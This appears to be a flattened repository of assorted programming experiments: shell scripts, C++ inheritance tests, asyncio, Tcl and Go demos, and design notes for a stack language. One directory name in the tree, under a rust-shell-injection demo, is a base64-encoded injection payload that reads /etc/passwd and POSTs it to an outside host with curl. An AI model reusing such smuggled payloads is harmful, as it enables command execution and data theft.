├── .gitignore ├── LICENSE ├── README.md ├── args-pattern └── demo.sh ├── asdl ├── errors.txt ├── mult-inherit.cc ├── run.sh ├── simple-mi.cc ├── so1.cc └── virtual.cc ├── bash-bugs ├── bash-command-demo.sh └── melvin-demo.sh ├── bernstein-fix ├── argv_to_sh.py └── demo.sh ├── catbrain ├── async-notes.md ├── async_await.py ├── catbrain.py ├── catbrain_test.py ├── coroutine-bug-blocking-sleep.tcl ├── coroutines-fixed.tcl ├── doc │ ├── NOTES.md │ ├── README.md │ ├── TODO.md │ ├── builtins.md │ ├── bytecode.md │ ├── coprocesses.md │ ├── discarded.md │ ├── fast-impl.md │ ├── forth-style.md │ ├── runtimes.md │ ├── shell-vs-catbrain.md │ ├── story.md │ ├── syntax.md │ ├── tcl-vs-catbrain.md │ ├── types.md │ ├── ysh-influence.md │ └── ysh-stack.md ├── keyboard-mouse.tcl ├── lib-asyncio.md ├── multi.sh ├── process-multiplexer.py ├── qt.sh ├── qt_asyncio.py ├── run.sh ├── subprocess.tcl ├── trickle.py ├── worker.sh └── yieldo.py ├── cgi-v2 ├── fib.c ├── fib.h ├── file-upload-handler.go ├── main.go └── run.sh ├── closures └── demo.py ├── crazy-old-bug ├── README.md ├── cgi-hello.sh ├── mksh-ss2-demos.sh ├── ss2-demos.sh ├── ss2-minimal-zsh.sh └── ss2-minimal.sh ├── daemon-stdout ├── foo.js └── foo.sh ├── data-frames ├── README.md ├── run.sh ├── traffic.csv ├── with_base_R.R ├── with_dplyr.R ├── with_pandas.py └── without_data_frames.py ├── ddmin ├── README.md ├── ddmin.py ├── listsets.py ├── my_ddmin.py ├── run.sh └── split.py ├── derivatives ├── README.md ├── _gen │ ├── synthetic-rsc-10.cc │ ├── synthetic-rsc-10.dot │ ├── synthetic-rsc-10.png │ ├── synthetic-rsc-10.re2c.cc │ ├── synthetic-rsc-11.cc │ ├── synthetic-rsc-11.dot │ ├── synthetic-rsc-11.png │ ├── synthetic-rsc-11.re2c.cc │ ├── synthetic-rsc-12.cc │ ├── synthetic-rsc-12.dot │ ├── synthetic-rsc-12.png │ └── synthetic-rsc-12.re2c.cc ├── blowup-test.sh ├── py3-hack.sh ├── synthetic-rsc.re2c.template └── synthetic-rsc.txt ├── docker ├── bwrap.sh ├── docker-as-proc.sh ├── docker-pull.sh ├── podman.sh ├── registry.sh ├── runc.sh └── without-docker.sh ├── dotd ├── Makefile ├── defs.h ├── main.c ├── newdep.h ├── run.sh └── short.mk ├── dynamic-programming ├── partition.py └── run.sh ├── dynamic-scope └── run.sh ├── empty-arrays └── demo.sh ├── errexit └── demo.sh ├── expr-simplify └── demo.js ├── fd-passing ├── NOTES.txt ├── headless_client.py ├── py_fanos.py ├── py_fanos_test.py ├── run.sh └── server.py ├── fgrep-problem-benchmarks ├── README.md ├── _gen │ ├── code-size.txt │ ├── do-done-edited.png │ ├── do-done.cc │ ├── do-done.dot │ ├── do-done.png │ ├── else-elif-edited.png │ ├── else-elif.cc │ ├── else-elif.dot │ ├── else-elif.png │ ├── fixed-strings.cc │ ├── fixed-strings.png │ ├── trie.cc │ ├── trie.dot │ └── trie.png ├── build.sh ├── common.sh ├── do-done-edited.dot ├── do-done.re2c.cc ├── else-elif-edited.dot ├── else-elif.re2c.cc ├── fixed-strings.re2c.cc ├── fixed-strings.sh ├── make_pat.py ├── re2_grep.cc ├── synthetic-rsc.re2c.cc ├── trie.re2c.cc └── words.sh ├── forth-like ├── demo.py └── demo.sh ├── function-in-pipeline └── demo.sh ├── git-changelog ├── demo-multiline.sh └── demo.sh ├── git.sh ├── grep-for-papers ├── README.md ├── deploy.sh ├── linux.txt ├── llvm.txt └── run.sh ├── hard-coded-descriptors └── demo.sh ├── hay ├── README.md ├── iac-demo.ysh ├── output.txt └── run.sh ├── headless ├── README.md ├── qt-terminal-app.py ├── run.sh ├── shell_gui.py ├── terminal-gui.py └── vte.sh ├── htm8 ├── crawl.sh ├── xml_demo.py ├── xml_demo2.py ├── xml_demo3.py ├── xml_demo4.py └── xml_demo5.py ├── id-kind-func ├── func_search.py ├── ik7.cc ├── plot.R └── run.sh ├── interactive-shell ├── README.md ├── TODO.txt ├── _tmp │ └── scraped-flags │ │ ├── base64 │ │ ├── bc │ │ ├── bison │ │ ├── cat │ │ ├── chroot │ │ ├── cp │ │ ├── csplit │ │ ├── cut │ │ ├── date │ │ ├── df │ │ ├── diff │ │ ├── dir │ │ ├── du │ │ ├── env │ │ ├── expand │ │ ├── fmt │ │ ├── fold │ │ ├── grep │ │ ├── head │ │ ├── irb │ │ ├── ld │ │ ├── ldd │ │ ├── ln │ │ ├── ls │ │ ├── m4 │ │ ├── md5sum │ │ ├── mkdir │ │ ├── mkfifo │ │ ├── mknod │ │ ├── mv │ │ ├── netstat │ │ ├── nl │ │ ├── nm │ │ ├── objcopy │ │ ├── objdump │ │ ├── od │ │ ├── paste │ │ ├── pr │ │ ├── ptx │ │ ├── readelf │ │ ├── rm │ │ ├── rmdir │ │ ├── sed │ │ ├── seq │ │ ├── sha1sum │ │ ├── sha224sum │ │ ├── sha256sum │ │ ├── sha384sum │ │ ├── sha512sum │ │ ├── shar │ │ ├── shasum │ │ ├── sort │ │ ├── split │ │ ├── strip │ │ ├── sum │ │ ├── tac │ │ ├── tail │ │ ├── tee │ │ ├── touch │ │ ├── tr │ │ ├── uname │ │ ├── unexpand │ │ ├── uniq │ │ ├── vdir │ │ ├── wc │ │ └── who ├── comp_ui.py ├── comp_ui_test.py ├── demoish.py ├── demoish_test.py ├── run.sh └── scrape_flags.py ├── j8-notation ├── motivate.sh └── surrogate.py ├── jq └── verbs.js ├── libc-unicode ├── demo ├── demo.c └── run.sh ├── line-counts └── run.sh ├── metaprogramming └── kinds.py ├── perl ├── challenge.pl └── challenge2.sh ├── pipe-coroutine ├── demo.sh └── sieve.sh ├── pipefail ├── better-pipefail.osh └── pipefail.sh ├── point-free └── demo.sh ├── push-pull └── powerset.py ├── py-slots ├── demo.py ├── i7.cpuinfo.txt ├── i7.log ├── pi-zero.cpuinfo.txt ├── pi-zero.log └── run.sh ├── python-getopt ├── demo.sh └── getopt_quadratic.py ├── python-is-very-dynamic └── demo.py ├── python-pattern-matching ├── class_ast.py ├── dataclass_ast.py ├── run.sh ├── stdlib_ast.py ├── syntax_error.py └── typed.py ├── redirects-dup ├── config.status ├── demo.sh ├── example1 │ ├── README │ ├── r1.sh │ ├── r2.sh │ └── trace.sh └── stdout_stderr.py ├── regular-languages ├── README.md ├── compare.sh ├── greedy.sh ├── op-glob.sh ├── op-line.sh ├── op-match.sh ├── op-submatch.sh ├── pygrep.py └── survey.txt ├── return-array └── demo.sh ├── rust-shell-injection ├── README.md ├── hidden │ └── ; true $(echo aGVhZCAvZXRjL3Bhc3N3ZCB8IHRlZSBQV05FRCB8IGN1cmwgLVggUE9TVCBodHRwOi8vZ29vZ2xlLmNvbS8K | base64 -d | $SHELL) │ │ └── file.txt ├── main.rs ├── run.sh └── setup.sh ├── seccomp ├── run.sh ├── step-1 │ ├── LICENSE │ ├── Makefile │ ├── config.h.in │ ├── configure.ac │ └── example.c ├── step-2 │ ├── LICENSE │ ├── Makefile │ ├── config.h.in │ ├── configure.ac │ ├── example.c │ └── seccomp-bpf.h └── step-3 │ ├── LICENSE │ ├── Makefile │ ├── config.h.in │ ├── configure.ac │ ├── example.c │ ├── seccomp-bpf.h │ ├── syscall-reporter.c │ ├── syscall-reporter.h │ └── syscall-reporter.mk ├── sql └── run.sh ├── stdout-stderr └── demo.sh ├── tools-snapshot ├── Makefile ├── README.md ├── Snip ├── blog.py ├── blog │ ├── 2018 │ │ └── 02 │ │ │ ├── 14.md │ │ │ └── commonmark.md │ ├── index.md │ └── tags.md ├── build.sh ├── cmark.py ├── cmark_test.py ├── css │ ├── base.css │ ├── code.css │ └── toc.css ├── deps.sh ├── files.sh ├── latch.sh ├── run.sh ├── sh_session.py └── snip.py ├── typescript ├── README.md ├── bool-int-andy-test.ts ├── bool-int-andy.ts ├── hi.ts ├── matklad-test.ts ├── matklad.ts └── run.sh ├── xargs-ninja ├── README.md ├── run.sh └── xargs.py └── xargs ├── demo.sh └── tasks.txt /.gitignore: -------------------------------------------------------------------------------- 1 | .*.swp 2 | *.pyc 3 | -------------------------------------------------------------------------------- /args-pattern/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./demo.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | # TODO: 11 | # - find example 12 | # - chroot example 13 | 14 | 15 | parallel-each() { 16 | xargs -P 4 -n 1 -- $0 "$@" 17 | } 18 | 19 | # Some expensive thing 20 | sleep-hello() { 21 | local seconds=$1 22 | echo "hello for $seconds" 23 | sleep $seconds 24 | } 25 | 26 | peach-demo() { 27 | time echo '0.1 0.2 0.3' | parallel-each sleep-hello 28 | } 29 | 30 | "$@" 31 | -------------------------------------------------------------------------------- /asdl/errors.txt: -------------------------------------------------------------------------------- 1 | This is the error that happens when you have 2 | 3 | class DoubleQuoted : public expr_t, public word_part_t { 4 | 5 | 6 | mult-inherit.cc:40:6: error: request for member ‘lineno’ is ambiguous 7 | dq.lineno = 1; 8 | ^ 9 | mult-inherit.cc:17:7: note: candidates are: int word_part_t::lineno 10 | int lineno; 11 | ^ 12 | mult-inherit.cc:23:7: note: int expr_t::lineno 13 | int lineno; 14 | ^ 15 | -------------------------------------------------------------------------------- /asdl/mult-inherit.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // Base type 5 | class obj_t { 6 | public: 7 | int type_id; 8 | }; 9 | 10 | // Common attributes 11 | class attrs { 12 | public: 13 | int lineno; 14 | int col; 15 | }; 16 | 17 | class word_part_t : public obj_t, public attrs { 18 | }; 19 | 20 | class expr_t : public obj_t, public attrs { 21 | }; 22 | 23 | class SingleQuoted : public expr_t, public word_part_t { 24 | public: 25 | }; 26 | 27 | // This doesn't work! 28 | class DoubleQuoted : public expr_t, public word_part_t { 29 | }; 30 | 31 | 32 | int main(int argc, char **argv) { 33 | DoubleQuoted dq; 34 | 35 | // Doesn't work because 36 | dq.lineno = 1; 37 | dq.col = 2; 38 | 39 | // This would print 16!!! 40 | printf("dq = %zu\n", sizeof(dq)); 41 | } 42 | -------------------------------------------------------------------------------- /asdl/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | # Naive solution 11 | mult-inherit() { 12 | g++ -o mult-inherit mult-inherit.cc 13 | ./mult-inherit 14 | } 15 | 16 | # Tried to fix it but I don't understand what went wrong 17 | virtual() { 18 | g++ -o virtual virtual.cc 19 | ./virtual 20 | } 21 | 22 | # After doing Python code gen 23 | simple-mi() { 24 | g++ -o simple-mi simple-mi.cc 25 | ./simple-mi 26 | } 27 | 28 | # StackOverflow 29 | so1() { 30 | g++ -std=c++11 -o so1 so1.cc 31 | ./so1 32 | } 33 | 34 | "$@" 35 | -------------------------------------------------------------------------------- /asdl/so1.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | struct Base 5 | { 6 | Base(int x) 7 | : x(x) 8 | {} 9 | virtual ~Base() = default; 10 | int x; 11 | }; 12 | 13 | struct Left : virtual Base 14 | { 15 | Left() : Base(1) 16 | {} 17 | }; 18 | 19 | struct Right : virtual Base 20 | { 21 | Right() : Base(2) 22 | {} 23 | }; 24 | 25 | /* 26 | // This does not compile. 27 | struct Down : Left, Right 28 | { 29 | Down() : Left(), Right() 30 | {} 31 | }; 32 | */ 33 | 34 | // Hooray, this version compiles. 35 | struct Down : Left, Right 36 | { 37 | Down() : Base(123), Left(), Right() 38 | {} 39 | }; 40 | 41 | int main(int argc, char **argv) { 42 | Down d; 43 | 44 | printf("d tag = %d\n", d.x); 45 | 46 | // 32 bytes!!! Not OK. Also requires the C++ runtime library with 47 | // -lstdc++. 48 | printf("sizeof(d) = %d\n", sizeof(d)); 49 | } 50 | -------------------------------------------------------------------------------- /asdl/virtual.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // Base type 5 | class obj_t { 6 | public: 7 | int type_id; 8 | }; 9 | 10 | // Common attributes 11 | class attrs { 12 | public: 13 | int lineno; 14 | int col; 15 | }; 16 | 17 | class word_part_t : virtual obj_t, virtual attrs { 18 | }; 19 | 20 | class expr_t : virtual obj_t, virtual attrs { 21 | }; 22 | 23 | class SingleQuoted : virtual expr_t, virtual word_part_t { 24 | }; 25 | 26 | // This doesn't work! 27 | class DoubleQuoted : virtual expr_t, virtual word_part_t { 28 | }; 29 | 30 | 31 | int main(int argc, char **argv) { 32 | DoubleQuoted dq; 33 | 34 | // This doesn't even work 35 | dq.type_id = 42; 36 | 37 | // Doesn't work because 38 | //dq.lineno = 1; 39 | //dq.col = 2; 40 | 41 | // This would print 16!!! 42 | printf("dq = %zu\n", sizeof(dq)); 43 | } 44 | -------------------------------------------------------------------------------- /bash-bugs/bash-command-demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # From Claude AI 3 | 4 | set -e 5 | 6 | # Test script to demonstrate command builtin behavior in Bash 3.2 7 | # This shows how 'command' can exit prematurely in certain conditions 8 | 9 | # Function to test command behavior 10 | test_command() { 11 | # This will work as expected 12 | echo "Testing normal command usage:" 13 | command ls /etc/passwd 14 | echo "Command completed" 15 | 16 | # This might exit early in Bash 3.2 17 | echo -e "\nTesting problematic case:" 18 | command ls /nonexistent 2>/dev/null 19 | echo "This line might not be reached in Bash 3.2" 20 | } 21 | 22 | # Execute the test 23 | echo "Bash version: $BASH_VERSION" 24 | test_command 25 | -------------------------------------------------------------------------------- /bash-bugs/melvin-demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "BASH_VERSION = $BASH_VERSION" 4 | 5 | set -o errexit 6 | 7 | foo() { 8 | set +o errexit 9 | if command time -f '%e' true > /dev/null; 10 | then 11 | echo 'inside' 12 | fi 13 | set -o errexit 14 | echo 'outside' 15 | } 16 | 17 | foo & 18 | 19 | echo waiting 20 | wait 21 | echo done 22 | 23 | -------------------------------------------------------------------------------- /bernstein-fix/argv_to_sh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | """ 3 | argv_to_sh.py 4 | 5 | Embed an argv vector into a shell string, e.g. for ssh or sudo. 6 | """ 7 | 8 | import commands 9 | import sys 10 | 11 | # strategy: double quote if it has ' -- otherwise single quote 12 | for arg in sys.argv[1:]: 13 | sys.stdout.write(commands.mkarg(arg)) 14 | -------------------------------------------------------------------------------- /bernstein-fix/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./demo.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | argv() { 11 | python -c 'import sys; print sys.argv[1:]' "$@" 12 | } 13 | 14 | local() { 15 | # Test out some hard characters 16 | argv begin \' \" ' ' \\ end 17 | } 18 | 19 | argv-to-sh-demo() { 20 | ./argv_to_sh.py begin \' \" 'a b' \\ end 21 | } 22 | 23 | quote-demo() { 24 | # Wrong because 'a b' gets split. 25 | argv $(./argv_to_sh.py echo begin \' \" 'a b' \\ end) 26 | 27 | # Quoting makes it correct. SSH doesn't care, because it must join the rest 28 | # of the args, which is weird. 29 | # 30 | # I think the point of the weird SSH command syntax is to do remote 31 | # evaluation of vars? Yes try ssh HOST 'echo' '$HOME'. 32 | # 33 | # What about su? I guess it can also do evaluation of vars in the other 34 | # user's environment. 35 | # 36 | # Will there be a pattern in oil for this? 37 | 38 | argv "$(./argv_to_sh.py echo begin \' \" 'a b' \\ end)" 39 | } 40 | 41 | ssh-demo() { 42 | 43 | ssh localhost "$(./argv_to_sh.py echo begin \' \" 'a b' \\ end)" 44 | ssh localhost "$(./argv_to_sh.py $PWD/$0 argv begin \' \" 'a b' \\ end)" 45 | } 46 | 47 | 48 | "$@" 49 | -------------------------------------------------------------------------------- /catbrain/async_await.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Demo from Claude AI 4 | 5 | import asyncio 6 | 7 | # Realization: this is not idiomatc! It works though. I think it should use 8 | # await? Well then you need an awaitable? OK interesting 9 | # 10 | # Will catbrain/YSH have yield? I think the problem might be exceptions 11 | 12 | async def counter(start=0): 13 | count = start 14 | while True: 15 | # With async generators, we use yield directly 16 | reset_to = yield count 17 | 18 | # If we receive a value via send(), reset the counter 19 | if reset_to is not None: 20 | count = reset_to 21 | else: 22 | count += 1 23 | 24 | # Usage with an async function: 25 | async def main(): 26 | # Create and initialize the async generator 27 | gen = counter(10) 28 | 29 | # We use __anext__ directly or the 'async for' syntax 30 | print(await gen.__anext__()) # Get first value: 10 31 | print(await gen.asend(None)) # Get next value: 11 32 | print(await gen.asend(None)) # Get next value: 12 33 | print(await gen.asend(5)) # Reset counter to 5 34 | print(await gen.asend(None)) # Get next value: 6 35 | 36 | asyncio.run(main()) 37 | -------------------------------------------------------------------------------- /catbrain/doc/TODO.md: -------------------------------------------------------------------------------- 1 | TODO 2 | ==== 3 | 4 | ### in Python Impl 5 | 6 | - add process API with self-pipe trick 7 | - maybe I should try Claude Code 8 | 9 | - Check signatures of commands more tightly 10 | - `_DataArg`, `_OneArg`, etc. 11 | 12 | - Tests should be in YSH? 13 | - then we need YSH test framework - yblocks 14 | 15 | ### Self hosting TODO 16 | 17 | - provide parser in Python 18 | - that provides some kind of "TERM" format 19 | - I think this is a binary format you can load in memory 20 | - is it netstring based? 21 | 22 | 23 | Is it tagged? 24 | 25 | Well I guess everything is an Obj almost 26 | 27 | Error Str List Obj FN 28 | 29 | 30 | ## Notes 31 | 32 | - async runtime! 33 | - think about pipeline { } { } 34 | 35 | - serializing code from YSH 36 | catbrain { could be a keyword } or YSH reflection 37 | 38 | - REPL for catbrain? 39 | - I think the lexer should support the REPL 40 | - now that I've figured out the word issue 41 | 42 | - I think you can have a netstring dict format 43 | - 3:key,4:value, 44 | - and then you can search for the key value 45 | - capture feed are probably useful for that 46 | - this can be a def 47 | 48 | - errors 49 | - syscall errors 50 | - arg conversion errors 51 | - op errors 52 | 53 | - control flow without exceptions 54 | - break 55 | - early return from def 56 | 57 | - location info for error messages 58 | 59 | ## async xargs -P in catbrain? 60 | 61 | - expose self-pipe trick 62 | - poll() loop I guess 63 | - poll for process exit 64 | - when you get that, start a new one 65 | 66 | - poll line events? 67 | - I guess when you get a chunk, it's not too hard to split it up by lines 68 | - can have a splitlines primitive ... 69 | - but you preserve the boundaries, so you can join with other chunks 70 | - you can keep track of incomplete lines 71 | - do the last 5 lines 72 | 73 | ## Build 74 | 75 | BUILD 76 | - static linking 77 | - dynamic linking 78 | - fast enough for shell script! No incremental build 79 | - should be at least 10x smaller than Oils 80 | 81 | Testing: 82 | 83 | - BYO protocol 84 | - ./catbrain-test.sh case-foo 85 | -------------------------------------------------------------------------------- /catbrain/doc/coprocesses.md: -------------------------------------------------------------------------------- 1 | Coprocesses 2 | ========= 3 | 4 | - The async experiments reminded me of my experiments: Torn, fly, xmap 5 | 6 | - General idea 7 | - Turn CLI into coprocesses with FANOS protocol 8 | - then you can use fly to invoke them 9 | - or use YSH itself 10 | - it can have a pool of processes perhaps 11 | 12 | - then you can use xmap to parallelize them locally 13 | 14 | - then you can use the CGI 2/PGI server to multiplex them 15 | - you just deploy the server exactly as is 16 | 17 | 18 | - I also wonder if we do some kind of multi-language / multi-process caching thing, like litestream 19 | - I think that uses a lot of decorators 20 | - we could do that in shell 21 | 22 | ## Useful for YSH 23 | 24 | - SSH to server 25 | - wrap arbitrary group of programs with YSH 26 | - set timeouts 27 | 28 | - YSH listens on an HTTP port 29 | - and then you can server an HTML skeleton 30 | - and all the logs executing in parallel 31 | - as well as time and resource usage 32 | 33 | - problem: are you authorized to do that 34 | - there is no protocol for making an arbitrary machine a web server 35 | - you could do it on some "guessed" port, though that's a bit dangerous 36 | - I guess this is what Tailscale is for 37 | - but I wouldn't want to install Tailscale on that server? 38 | 39 | -------------------------------------------------------------------------------- /catbrain/doc/forth-style.md: -------------------------------------------------------------------------------- 1 | Forth-Style 2 | ================== 3 | 4 | Is forth-style useful / nice? 5 | 6 | This is arguably nice / interesting: 7 | 8 | #.ysh 9 | for x in *.py { 10 | echo $x 11 | } 12 | 13 | vs 14 | 15 | #.catbrain 16 | glob '*.py' # push an array on the stack 17 | foreach { # make each element on array top of stack 18 | echo # print it 19 | } 20 | 21 | 22 | Destructuring assignment 23 | 24 | #.ysh 25 | yblocks capture (&r) { 26 | echo hi 27 | } 28 | echo $[r.status] $[r.stderr] 29 | 30 | vs. 31 | 32 | #.catbrain 33 | yblocks capture { 34 | echo hi 35 | } 36 | assign status stderr 37 | echo $status $stderr 38 | 39 | The code isn't strictly shorter, but it is kinda easy to type and 40 | "concatenative" / "ordered". 41 | -------------------------------------------------------------------------------- /catbrain/doc/tcl-vs-catbrain.md: -------------------------------------------------------------------------------- 1 | Tcl vs. Catbrain 2 | ---------------- 3 | 4 | - Tcl 5 | - 6 | - - vs shell 7 | 8 | ## Semantics 9 | 10 | Data Model: 11 | 12 | - Tcl has only `Str` 13 | - although there is a funky "dual" nature to the VM 14 | - catbrain has `Error Str List Obj Fn` 15 | 16 | Machine model: 17 | 18 | - catbrain has a stack like Forth 19 | - this is mainly influenced by the shell idea of 'ls /tmp; echo status=$?' 20 | - you can think of the status `$?` as being pushed on the stack 21 | - but in catbrain, it can be any value 22 | - errors abort the interpreter, unless caught by `try` 23 | 24 | ## Syntax 25 | 26 | 27 | Different: 28 | 29 | - Tcl `$VAR` vs `{*}var` is our `%[var]` vs. %%[var] 30 | - Tcl [command sub] is our %[expr sub] and %{command sub} 31 | - Tcl $array(i) is our %[array i] 32 | 33 | - we don't have backslash sub right now 34 | - although we would add it with b'\n' which is J8 notation 35 | - could be easy to do, especially if the parser is in catbrain itself 36 | 37 | - catbrain has special syntax for pipelines: `ls | wc -l` 38 | 39 | Similar 40 | 41 | - {} are usually command blocks, although we statically parse them 42 | 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /catbrain/keyboard-mouse.tcl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env wish 2 | 3 | # Create a canvas widget 4 | pack [canvas .c -background lightblue -width 400 -height 300] 5 | 6 | # Create a text widget for output messages 7 | pack [text .t -width 40 -height 5 -wrap word] 8 | 9 | # Function to handle mouse clicks 10 | proc handle_mouse_click {x y} { 11 | .t insert end "Mouse clicked at coordinates: $x, $y\n" 12 | .t see end 13 | 14 | # Draw a small circle where the mouse was clicked 15 | .c create oval [expr $x-5] [expr $y-5] [expr $x+5] [expr $y+5] -fill red -outline black 16 | } 17 | 18 | # Function to handle keyboard events 19 | proc handle_key_press {key} { 20 | .t insert end "Key pressed: $key\n" 21 | .t see end 22 | } 23 | 24 | # Bind mouse click event to the canvas 25 | bind .c {handle_mouse_click %x %y} 26 | 27 | # Bind keyboard events to the main window 28 | bind . {handle_key_press %K} 29 | 30 | # Add initial instructions 31 | .t insert end "Click on the blue canvas or press any key to see events.\n" 32 | 33 | # Add a label with instructions 34 | pack [label .l -text "Click on the canvas or press keys to generate events"] 35 | -------------------------------------------------------------------------------- /catbrain/multi.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Testing multiplexer 4 | # 5 | # Usage: 6 | # ./multi.sh 7 | 8 | set -o nounset 9 | set -o pipefail 10 | set -o errexit 11 | 12 | make-venv() { 13 | python3 -m venv _tmp/multi-env 14 | } 15 | 16 | check-types() { 17 | # I installed mypy 18 | . _tmp/multi-env/bin/activate 19 | 20 | python3 -m mypy --strict process-multiplexer.py 21 | } 22 | 23 | "$@" 24 | -------------------------------------------------------------------------------- /catbrain/qt.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Testing the GUI with asyncio 4 | # 5 | # Usage: 6 | # ./qt.sh 7 | 8 | set -o nounset 9 | set -o pipefail 10 | set -o errexit 11 | 12 | make-venv() { 13 | python3 -m venv _tmp/qt-venv 14 | } 15 | 16 | py-deps() { 17 | # I installed mypy 18 | . _tmp/qt-venv/bin/activate 19 | 20 | python3 -m pip install PyQT5 qasync 21 | } 22 | 23 | "$@" 24 | -------------------------------------------------------------------------------- /catbrain/qt_asyncio.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import sys 3 | from PyQt5.QtWidgets import QApplication, QPushButton, QVBoxLayout, QWidget 4 | import qasync 5 | 6 | async def my_coroutine(): 7 | print("Starting coroutine") 8 | await asyncio.sleep(1) 9 | print("Coroutine finished") 10 | 11 | def button_clicked(): 12 | asyncio.ensure_future(my_coroutine()) 13 | 14 | app = QApplication(sys.argv) 15 | loop = qasync.QEventLoop(app) 16 | asyncio.set_event_loop(loop) 17 | 18 | # Create a simple GUI 19 | window = QWidget() 20 | layout = QVBoxLayout() 21 | button = QPushButton("Run Coroutine") 22 | button.clicked.connect(button_clicked) 23 | layout.addWidget(button) 24 | window.setLayout(layout) 25 | window.show() 26 | 27 | # Run the event loop 28 | with loop: 29 | loop.run_forever() 30 | -------------------------------------------------------------------------------- /catbrain/trickle.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import time 5 | 6 | chunk_size = int(sys.argv[1]) 7 | iters = int(sys.argv[2]) 8 | secs = float(sys.argv[3]) 9 | 10 | for i in range(iters): 11 | chunk = sys.stdin.read(chunk_size) 12 | if not chunk: # EOF 13 | break 14 | time.sleep(secs) 15 | sys.stdout.write(chunk) 16 | sys.stdout.flush() 17 | 18 | # Cut off the input 19 | -------------------------------------------------------------------------------- /catbrain/worker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # worker.sh - Prints each argument as a netstring with sleep interval between them 3 | 4 | # Check if at least one argument is provided 5 | if [ $# -lt 1 ]; then 6 | echo "Usage: $0 [arg1] [arg2] ..." >&2 7 | exit 1 8 | fi 9 | 10 | # Store the sleep interval and shift it out from the argument list 11 | sleep_interval="$1" 12 | shift 13 | 14 | echo "WORKER $$ sleeping $sleep_interval with $# args" >&2 15 | 16 | # Process each argument 17 | for arg in "$@"; do 18 | # Calculate the length of the argument 19 | arg_length=${#arg} 20 | 21 | # Print the netstring format: :, 22 | printf "%d:%s," "$arg_length" "$arg" 23 | 24 | # Sleep for the specified interval 25 | sleep "$sleep_interval" 26 | done 27 | -------------------------------------------------------------------------------- /cgi-v2/fib.c: -------------------------------------------------------------------------------- 1 | // fib.c 2 | #include "fib.h" 3 | 4 | unsigned long long compute_fib(int n) { 5 | if (n <= 1) return n; 6 | 7 | unsigned long long prev = 0; 8 | unsigned long long curr = 1; 9 | 10 | for(int i = 2; i <= n; i++) { 11 | unsigned long long next = prev + curr; 12 | prev = curr; 13 | curr = next; 14 | } 15 | 16 | return curr; 17 | } 18 | 19 | -------------------------------------------------------------------------------- /cgi-v2/fib.h: -------------------------------------------------------------------------------- 1 | // fib.h 2 | #ifndef FIB_H 3 | #define FIB_H 4 | 5 | unsigned long long compute_fib(int n); 6 | 7 | #endif 8 | 9 | -------------------------------------------------------------------------------- /cgi-v2/main.go: -------------------------------------------------------------------------------- 1 | // main.go 2 | package main 3 | 4 | /* 5 | #include "fib.h" 6 | import "C" 7 | */ 8 | 9 | import "fmt" 10 | 11 | // Note: NO cgo import "C" here! 12 | func compute_fib(n int32) uint64 // This declares the C function 13 | 14 | func main() { 15 | // Test different Fibonacci numbers 16 | numbers := []int{0, 1, 10, 20, 30, 40, 50} 17 | 18 | for _, n := range numbers { 19 | // result := C.compute_fib(C.int(n)) 20 | result := compute_fib(int32(n)) 21 | fmt.Printf("Fibonacci(%d) = %d\n", n, uint64(result)) 22 | } 23 | } 24 | 25 | -------------------------------------------------------------------------------- /cgi-v2/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | make-files() { 11 | mkdir -p _tmp 12 | echo foo > _tmp/foo.txt 13 | echo bar > _tmp/bar.txt 14 | } 15 | 16 | test-post() { 17 | curl -X POST -F "files=@_tmp/foo.txt" -F "files=@_tmp/bar.txt" http://localhost:8080/upload 18 | } 19 | 20 | serve-go() { 21 | # from Claude AI 22 | ~/install/go/bin/go build file-upload-handler.go 23 | ./file-upload-handler 24 | } 25 | 26 | # Wow, gccgo is super easy! 27 | 28 | install() { 29 | # 42.6 MB of archives 30 | sudo apt-get install gccgo 31 | } 32 | 33 | compile() { 34 | # 106 KB binary 35 | gccgo -O2 -o file-upload-handler file-upload-handler.go 36 | } 37 | 38 | serve-gccgo() { 39 | # Hm this still has 4 threads? Doesn't seem to respect GOMAXPROCS 40 | # Probably because I didn't actually start a goroutine 41 | 42 | #GOMAXPROCS=1 ./file-upload-handler 43 | GOMAXPROCS=10 ./file-upload-handler 44 | } 45 | 46 | # 47 | # C++ extension 48 | # 49 | 50 | # does NOT work 51 | build-c() { 52 | cc -c fib.c -o fib.o 53 | gccgo -o fibonacci main.go fib.o 54 | } 55 | 56 | # does NOT work 57 | fib-gc() { 58 | ~/install/go/bin/go run main.go 59 | } 60 | 61 | # 62 | # Startup time 63 | # 64 | 65 | hello-gc() { 66 | ~/install/go/bin/go build hello.go 67 | 68 | # 1 ms startup time 69 | time ./hello 70 | echo 71 | 72 | # 114 rt_sigaction calls 73 | strace -c ./hello 74 | echo 75 | 76 | # 1.8 MB 77 | ls -l hello 78 | } 79 | 80 | hello-gccgo() { 81 | gccgo -o hello_gccgo hello.go 82 | 83 | # 123 ms startup time! wtf! Bad! 84 | time ./hello_gccgo 